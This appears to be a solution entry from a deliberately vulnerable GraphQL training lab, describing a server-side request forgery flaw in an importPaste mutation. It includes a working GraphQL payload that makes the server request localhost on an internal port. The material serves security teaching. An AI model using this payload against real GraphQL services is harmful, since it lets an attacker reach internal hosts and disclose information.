Information Disclosure :: Server Side Request Forgery
Problem Statement
The GraphQL mutation importPaste accepts arbitrary host, port and scheme to import pastes from and does
not restrict input such as localhost or other internal servers from being used. This may allow
forging requests on behalf of the application server to target other network nodes.
# Beginner and Expert modes
# Any arbitrary host and ports can be used to make an outbound HTTP request
mutation {
importPaste(host:"localhost", port:57130, path:"/", scheme:"http") {
result
}
}